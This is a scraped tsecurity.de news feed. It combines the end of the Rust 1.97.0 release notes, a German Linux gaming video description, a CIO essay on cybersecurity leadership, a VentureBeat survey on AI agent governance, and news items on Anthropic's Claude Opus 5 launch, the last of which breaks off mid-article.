<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.isolate_lowest_one" rel="external"><code>NonZero&lt;{integer}&gt;::isolate_lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.highest_one" rel="external"><code>NonZero&lt;{integer}&gt;::highest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.lowest_one" rel="external"><code>NonZero&lt;{integer}&gt;::lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.bit_width" rel="external"><code>NonZero&lt;{uN}&gt;::bit_width</code></a></li>
</ul>
<p>These previously stable APIs are now stable in const contexts:</p>
<ul>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.char.html#method.is_control" rel="external"><code>char::is_control</code></a></li>
</ul>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#other-changes"></a>
Other changes</h4>
<p>Check out everything that changed in <a href="https://github.com/rust-lang/rust/releases/tag/1.97.0" rel="external">Rust</a>, <a href="https://doc.rust-lang.org/nightly/cargo/CHANGELOG.html#cargo-197-2026-07-09" rel="external">Cargo</a>, and <a href="https://github.com/rust-lang/rust-clippy/blob/master/CHANGELOG.md#rust-197" rel="external">Clippy</a>.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#contributors-to-1-97-0"></a>
Contributors to 1.97.0</h3>
<p>Many people came together to create Rust 1.97.0. We couldn't have done it without all of you. <a href="https://thanks.rust-lang.org/rust/1.97.0/" rel="external">Thanks!</a></p>]]></content:encoded>
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<title><![CDATA[Ich brauche Windows nicht mehr! Bazzite vs. CachyOS]]></title>
<description><![CDATA[Author: PC-WELT - Bewertung: 1109x - Views:21055 Gaming auf Linux war lange kompliziert oder scheiterte gleich am Game-Support. Doch die Zeiten sind vorbei - dank Distros wie Bazzite oder CachyOS macht Zocken auf Linux mittlerweile richtig Bock. Doch welche Gaming-Distro ist die beste? Was sind d...]]></description>
<link>https://tsecurity.de/de/3693230/videos/ich-brauche-windows-nicht-mehr-bazzite-vs-cachyos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693230/videos/ich-brauche-windows-nicht-mehr-bazzite-vs-cachyos/</guid>
<pubDate>Sat, 25 Jul 2026 08:35:50 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: PC-WELT - Bewertung: 1109x - Views:21055 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/Rh0mNmOtHgs?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Gaming auf Linux war lange kompliziert oder scheiterte gleich am Game-Support. Doch die Zeiten sind vorbei - dank Distros wie Bazzite oder CachyOS macht Zocken auf Linux mittlerweile richtig Bock. Doch welche Gaming-Distro ist die beste? Was sind die Unterschiede zwischen Bazzite und CachyOS? Das hab ich mir mal genauer angeschaut.<br />
<br />
► https://youtu.be/Zz-qL5JRm4s<br />
<br />
► https://youtu.be/j0pM0S3wmbc<br />
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► https://www.youtube.com/watch?v=mVXONaHZvFU<br />
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► News, Tests und Tipps zum Thema Gaming &amp; eSports: https://www.pcwelt.de/gaming<br />
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<br />
0:00 – Intro: Ist Linux-Gaming 2026 die bessere Wahl?<br />
0:52 – Was ist CachyOS? (Arch Linux &amp; Rolling Releases)<br />
1:29 – Warum CachyOS schneller läuft (CPU-Optimierung &amp; Compiler-Standards)<br />
2:57 – Installation &amp; Dual-Boot im Vergleich<br />
3:38 – Anpassbarkeit: Desktops &amp; Bootloader<br />
3:59 – Systemsicherheit: Die &quot;Atomic Updates&quot; von Bazzite<br />
4:32 – Software-Quellen: CachyOS (Pacman &amp; AUR) vs. Bazzite (Flatpaks)<br />
5:46 – Out-of-the-Box: Wer ist schneller spielbereit?<br />
6:36 – Spiele-Performance &amp; das Nvidia-Treiber-Problem unter Linux<br />
7:01 – Fazit: Welches OS ist besser für dich?<br />
7:39 – Handheld-Gaming (Steam Deck &amp; Co.): Bazzite weiterhin vorn?<br />
8:15 – Outro<br />
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Auf dem PC-WELT-Kanal findet Ihr alles rund um das Thema PCs &amp; (Gaming-)Hardware. Bei uns gibt&#039;s alle wichtigen Infos, Tests und Hands-ons rund um die spannendsten Geräte.<br />
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<title><![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]></title>
<description><![CDATA[For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organization...]]></description>
<link>https://tsecurity.de/de/3693088/it-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693088/it-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.</p>



<p class="wp-block-paragraph">Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.</p>



<p class="wp-block-paragraph">The obvious conclusion is that we are asking the wrong questions.</p>



<p class="wp-block-paragraph">Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.</p>



<p class="wp-block-paragraph">In my view, there are three far more fundamental issues that deserve the attention of every chief executive.</p>



<h2 class="wp-block-heading">1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality</h2>



<p class="wp-block-paragraph">Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.</p>



<p class="wp-block-paragraph">It is the growing disconnect between executive perception and operational reality.</p>



<p class="wp-block-paragraph">Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.</p>



<p class="wp-block-paragraph">Unfortunately, cyber attackers do not read dashboards.</p>



<p class="wp-block-paragraph">Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.</p>



<p class="wp-block-paragraph">The problem is rarely a lack of effort.</p>



<p class="wp-block-paragraph">It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.</p>



<p class="wp-block-paragraph">Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.</p>



<p class="wp-block-paragraph">Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.</p>



<h2 class="wp-block-heading">2. Organizational inertia, and the need for executive structure to evolve faster</h2>



<p class="wp-block-paragraph">Cyber criminals continue to evolve rapidly. Large organizations generally do not.</p>



<p class="wp-block-paragraph">This is the second issue that should concern every CEO.</p>



<p class="wp-block-paragraph">Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.</p>



<p class="wp-block-paragraph">Very rarely do they stop to redesign how cybersecurity operates.</p>



<p class="wp-block-paragraph">The result is what I described several years ago as the “<a href="https://www.amazon.com/Cybersecurity-Spiral-Failure-How-Break/dp/1637353057/">Cybersecurity Spiral of Failure</a>”.</p>



<ul class="wp-block-list">
<li>As complexity and regulation increase, organizations invest in more security products.</li>



<li>More products create more complexity.</li>



<li>More products and greater complexity generate more alerts.</li>



<li>More alerts require more analysts.</li>



<li>More analysts produce more reports.</li>



<li>More reports continue to build up executive confidence.</li>



<li>Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.</li>
</ul>



<p class="wp-block-paragraph">And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.</p>



<p class="wp-block-paragraph">This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.</p>



<p class="wp-block-paragraph">Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.</p>



<p class="wp-block-paragraph">The cybersecurity function itself has evolved dramatically. Many executive structures have not.</p>



<p class="wp-block-paragraph">This organizational inertia extends beyond technology: It affects budgeting cycles, <a href="https://www.cio.com/article/4193990/reallocating-cybersecurity-capital-in-the-mythos-era.html">investment priorities</a>, procurement processes, accountability models and decision-making speed.</p>



<p class="wp-block-paragraph">Cyber attackers innovate every day. Organizational change often takes years.</p>



<p class="wp-block-paragraph">That imbalance should worry every CEO.</p>



<h2 class="wp-block-heading">3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak</h2>



<p class="wp-block-paragraph">The third issue is potentially the most significant over the coming decade.</p>



<ul class="wp-block-list">
<li>Artificial intelligence, autonomous agents and machine identities</li>



<li>Software supply chain complexity.</li>



<li>Quantum computing, and post-quantum cryptography</li>
</ul>



<p class="wp-block-paragraph">Each of these developments represents far more than another technical trend.</p>



<p class="wp-block-paragraph">Together, they fundamentally change the dynamics of cybersecurity.</p>



<p class="wp-block-paragraph">Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.</p>



<p class="wp-block-paragraph">Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.</p>



<p class="wp-block-paragraph">Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.</p>



<p class="wp-block-paragraph">None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.</p>



<p class="wp-block-paragraph">Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.</p>



<p class="wp-block-paragraph">Waiting until some of those risks become obvious will almost certainly be too late.</p>



<p class="wp-block-paragraph">Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.</p>



<p class="wp-block-paragraph">But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.</p>



<p class="wp-block-paragraph">That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.</p>



<h2 class="wp-block-heading">Leadership will determine who succeeds</h2>



<p class="wp-block-paragraph">Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.</p>



<p class="wp-block-paragraph">Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.</p>



<p class="wp-block-paragraph">What remains within the control of every CEO is how their organization responds.</p>



<p class="wp-block-paragraph">Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?</p>



<p class="wp-block-paragraph">How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?</p>



<p class="wp-block-paragraph">Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?</p>



<p class="wp-block-paragraph">These questions will increasingly determine organizational success.</p>



<p class="wp-block-paragraph">The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.</p>



<p class="wp-block-paragraph">They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.</p>



<p class="wp-block-paragraph">That transformation cannot be delegated. It begins with the CEO.</p>



<p class="wp-block-paragraph">And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Sky und WOW im August 2026: Das gibt es zu sehen]]></title>
<description><![CDATA[Sky Deutschland bzw. die inzwischen dahinterstehende RTL-Gruppe hat seine Neuheiten für den August 2026 bestätigt. Unter den Serien und Dokumentationen ist für Fußball-Fans z. B. „Mythos...Zum Beitrag: Sky und WOW im August 2026: Das gibt es zu sehen

Wo du uns folgen kannst:
Facebook, Reddit, Go...]]></description>
<link>https://tsecurity.de/de/3692557/it-nachrichten/sky-und-wow-im-august-2026-das-gibt-es-zu-sehen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692557/it-nachrichten/sky-und-wow-im-august-2026-das-gibt-es-zu-sehen/</guid>
<pubDate>Fri, 24 Jul 2026 23:17:47 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sky Deutschland bzw. die inzwischen dahinterstehende RTL-Gruppe hat seine Neuheiten für den August 2026 bestätigt. Unter den Serien und Dokumentationen ist für Fußball-Fans z. B. „Mythos...<p>Zum Beitrag: <a href="https://stadt-bremerhaven.de/sky-und-wow-im-august-2026-das-gibt-es-zu-sehen/">Sky und WOW im August 2026: Das gibt es zu sehen</a>
</p><p>
Wo du uns folgen kannst:
<a href="http://www.facebook.com/CaschysBlog">Facebook</a>, <a href="https://www.reddit.com/r/CaschysBlog/">Reddit</a>, <a href="https://news.google.com/publications/CAAqMQgKIitDQklTR2dnTWFoWUtGSE4wWVdSMExXSnlaVzFsY21oaGRtVnVMbVJsS0FBUAE?ceid=DE:de&amp;oc=3">Google News</a>, <a href="https://x.com/CaschysBlog">X</a>, <a href="https://www.threads.com/@caschysblog">Threads</a>
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<title><![CDATA[VentureBeat Research: Where enterprise AI agent governance hasn't caught up]]></title>
<description><![CDATA[Enterprises deployed AI agents ahead of the controls needed to manage them — and they did it knowingly. That is the central finding across the five parallel surveys VentureBeat Research fielded in June, spanning every layer of the agentic stack. Now those enterprises are retrofitting to catch up ...]]></description>
<link>https://tsecurity.de/de/3692498/it-nachrichten/venturebeat-research-where-enterprise-ai-agent-governance-hasnt-caught-up/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692498/it-nachrichten/venturebeat-research-where-enterprise-ai-agent-governance-hasnt-caught-up/</guid>
<pubDate>Fri, 24 Jul 2026 22:51:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprises deployed AI agents ahead of the controls needed to manage them — and they did it knowingly. That is the central finding across the five parallel surveys VentureBeat Research fielded in June, spanning every layer of the agentic stack. Now those enterprises are retrofitting to catch up with their own standards, and they are budgeting for it: In each of the five control layers we measured, 57 to 68% of enterprises plan to switch vendors or add new ones within 12 months, and roughly a third, depending on the layer, plan to move within the quarter.</p><p><a href="https://venturebeat.com/category/resources">VentureBeat Research</a> measured the five controls an enterprise has to build before it can trust an agent: identity, evaluation, cost telemetry, the context layer, and orchestration. Identity governs which agent is allowed to do what, under whose credentials. Evaluation determines whether the agent's work is any good. Cost telemetry tracks what each agent costs to run. The context layer supplies the business data and definitions agents draw on when they answer. And the orchestration control plane coordinates multi-step agent work. Each of our five reports measures one of those controls.</p><p><b>Most deployed "agents" are chatbots wearing the label.</b> Seventy-one percent of enterprises said a quarter or fewer of their deployed "agents" can complete multi-step work on their own; only 10% said true agents are the majority of what they run. These respondents are positioned to know: 81% recommend or decide AI purchases at their companies. A single-prompt chatbot with a human reading every answer needs none of the controls the other four reports measure. A true multi-step agent needs all of them — and most enterprises can't say which one they've deployed. <i>(Full findings: </i><a href="https://venturebeat.com/resources/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents"><i>Agentic Orchestration report.</i></a><i>)</i></p><p><b>Autonomy is outrunning trust in the evaluations that gate it.</b> Two-thirds of enterprises either already allow an agent to push a code or system change to production on automated evaluation results alone, with no human review, or are actively engineering toward that within 12 months. Only 5% fully trust the evaluations that would make that call — and half of enterprises shipped an agent that passed internal evaluations and then caused a customer-facing failure in the past year. Before removing human review from any workflow, test evaluations against production outcomes rather than internal benchmarks. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway"><i>Agent Reliability &amp; Evals report</i></a><i>.)</i></p><p><b>Companies that let agents share credentials get hit more often.</b> Sixty-nine percent of companies let at least some of their agents share credentials — multiple agents operating under one API key or service account. Organizations that allow credential sharing anywhere experienced a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (nine of 22) at companies where every agent has its own scoped identity. The fix is scoped identity for every agent, starting with the ones that touch production systems. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials"><i>Agentic Security &amp; Identity report</i></a><i>.)</i></p><p><b>The most expensive hardware in the building runs at half capacity or less.</b> More than eight in 10 enterprises that run their own GPUs reported utilization of 50% or less, and only 44% rigorously track what their AI compute actually costs and returns. The number worth chasing first isn't more GPUs — it's the utilization and per-workload cost of the ones already running. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs"><i>AI Infrastructure &amp; Compute report</i></a><i>.)</i></p><p><b>Agents answer confidently from data nobody governs.</b> Fifty-seven percent of enterprises traced a confident, wrong agent answer in the past six months to their own missing or inconsistent business context — wrong metrics, stale definitions, absent documents — and most saw it happen more than once. Governing the definitions agents answer from — metrics and entities first — has to come before scaling the agents that depend on them. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix"><i>Context Layers / RAG report</i></a><i>.)</i></p><p>No layer has an entrenched incumbent: The defaults today are the built-in tools that ship with the big AI platforms enterprises already use. Switching intent runs highest in orchestration itself, where 68% plan to adopt, add, or replace platforms within 12 months and 34% within the quarter. Our surveys did not ask which direction that money moves — toward the platforms' built-in tools or toward the specialists challenging them — and that open question is the next four quarters of this market.</p><hr><p><b>About this research</b> </p><p><a href="https://venturebeat.com/category/resources">VentureBeat Research</a> fielded five parallel surveys in June 2026 under its VB Pulse program: Agentic Orchestration (101 respondents), Agent Reliability &amp; Evals (157), Agentic Security &amp; Identity (107), AI Infrastructure &amp; Compute (107), and Context Layers / RAG (101) — 573 qualified respondents in total, all at organizations with 100 or more employees. Samples are self-selected, and some findings should be read directionally; each report carries its full methodology note. What the pattern supports more strongly than any single percentage is the direction: every survey, independently, points the same way. VentureBeat produces both this research and <a href="https://venturebeat.com/vbtransform2026">VB Transform</a>, the conference where these reports debuted.</p>]]></content:encoded>
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<title><![CDATA[Anthropic's New Opus 5 Model Rivals Fable 5 For Half the Price]]></title>
<description><![CDATA[Anthropic has released Opus 5, a new Claude model that it says comes close to its higher-end Fable 5 model at half the price while improving on Opus 4.8 in knowledge work, coding, and scientific research tasks. "At the same time, Anthropic says it has managed to make the model more resistant to b...]]></description>
<link>https://tsecurity.de/de/3692357/it-security-nachrichten/anthropics-new-opus-5-model-rivals-fable-5-for-half-the-price/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692357/it-security-nachrichten/anthropics-new-opus-5-model-rivals-fable-5-for-half-the-price/</guid>
<pubDate>Fri, 24 Jul 2026 21:08:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Anthropic has released Opus 5, a new Claude model that it says comes close to its higher-end Fable 5 model at half the price while improving on Opus 4.8 in knowledge work, coding, and scientific research tasks. "At the same time, Anthropic says it has managed to make the model more resistant to being tricked," notes Engadget. Additionally, the company says Opus 5 "exhibits the lowest rates of deceptive behavior." From the report: One important distinction between Opus 5 and Mythos, which is currently only available to a limited number of vetted organizations through Anthropic's Project Glasswing initiative, is that the company has specifically avoided training the new model on cyber-related tasks. Due to more its powerful capabilities, Opus 5 is broadly better at those tasks than its predecessor, making it more useful for finding cybersecurity vulnerabilities, but the company says Opus 5 is "substantially behind" its flagship model at exploiting those vulnerabilities.
 
[...] Anthropic says "Claude Opus 5's safeguards are designed to allow beneficial uses of the model in both cybersecurity and biology." The company has strengthened some of the model's cyber-related guardrails, but notes it did so along a "narrow range" of specific tasks. "Based on our testing, we expect the classifiers to intervene around 85 percent less often than they do for Fable 5," Anthropic said. With Opus 5, Anthropic also isn't including it in its recently announced 30-day data retention policy, which the company introduced alongside Fable and Mythos 5.
 
As for pricing. Anthropic says API costs for Opus 5 will remain at $5 per one million input tokens and $25 per one million output tokens. Anthropic has also added an "effort" menu for Opus that users can tweak to tell the model whether they want it to be more thorough or fast and efficient to conserve tokens.<p></p><div class="share_submission">
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</div><p><a href="https://slashdot.org/story/26/07/24/1853236/anthropics-new-opus-5-model-rivals-fable-5-for-half-the-price?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Claude Mythos Just Caught the Attention of Canada’s Banking Regulator]]></title>
<description><![CDATA[  Canada’s federal banking regulator has privately warned financial institutions that advances in frontier artificial intelligence are shrinking the time available to detect and contain software vulnerabilities, according to an internal email that specifically identified Anthropic’s Claude Mythos...]]></description>
<link>https://tsecurity.de/de/3692253/it-security-nachrichten/claude-mythos-just-caught-the-attention-of-canadas-banking-regulator/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692253/it-security-nachrichten/claude-mythos-just-caught-the-attention-of-canadas-banking-regulator/</guid>
<pubDate>Fri, 24 Jul 2026 20:17:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>  Canada’s federal banking regulator has privately warned financial institutions that advances in frontier artificial intelligence are shrinking the time available to detect and contain software vulnerabilities, according to an internal email that specifically identified Anthropic’s Claude Mythos, an uncommon…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/claude-mythos-just-caught-the-attention-of-canadas-banking-regulator/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/claude-mythos-just-caught-the-attention-of-canadas-banking-regulator/">Claude Mythos Just Caught the Attention of Canada’s Banking Regulator</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Anthropic launches Claude Opus 5, a cheaper AI model for coding, agents and enterprise workflows]]></title>
<description><![CDATA[Anthropic released Claude Opus 5 on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude Fable 5 at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.The model, available immediately o...]]></description>
<link>https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</guid>
<pubDate>Fri, 24 Jul 2026 20:10:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.anthropic.com/">Anthropic</a> released Claude <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude <a href="https://www.anthropic.com/claude/fable">Fable 5</a> at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.</p><p>The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>. It becomes the new default model on <a href="https://support.claude.com/en/articles/11049741-what-is-the-max-plan">Claude Max</a>, Anthropic's premium consumer tier, and the strongest model available on <a href="https://support.claude.com/en/articles/8325606-what-is-the-pro-plan">Claude Pro</a>.</p><p>The positioning is deliberate. Anthropic is not claiming <a href="http://anthropic.com/news/claude-opus-5">Opus 5 </a>is its smartest model — that distinction still belongs to <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.</p><p>"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."</p><h2><b>How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models</b></h2><p>On paper, the results are striking. Anthropic says <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> sets new state-of-the-art marks on coding and knowledge-work evaluations including <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> and <a href="https://artificialanalysis.ai/evaluations/gdpval-aa">GDPval-AA</a>. On <a href="https://www.frontierbench.ai/announcement">Frontier-Bench v0.1</a>, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On <a href="https://arcprize.org/arc-agi/3">ARC-AGI 3</a>, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On <a href="https://github.com/xlang-ai/OSWorld-V2">OSWorld 2.0</a>, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.</p><p>The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> remains behind <a href="https://www.anthropic.com/claude/mythos">Mythos 5</a>, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.</p><p>The more revealing caveat came from Anthropic itself, when asked where <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> still falls short of <a href="https://www.anthropic.com/claude/fable">Fable 5</a>. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.</p><p>"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."</p><p><a href="https://www.anthropic.com/claude/fable">Fable 5</a>, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.</p><h2><b>Why token efficiency is becoming the real battleground for enterprise AI spending</b></h2><p>Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.</p><p>Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."</p><p>Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.</p><p>The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item. </p><p>Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by <a href="https://research.contrary.com/company/anthropic">Contrary Research</a>, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.</p><h2><b>Self-verifying AI agents and what they mean for the hidden costs of automation</b></h2><p>Beyond the numbers, Anthropic is selling a behavioral story: that <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.</p><p>In one <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.</p><p>Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a 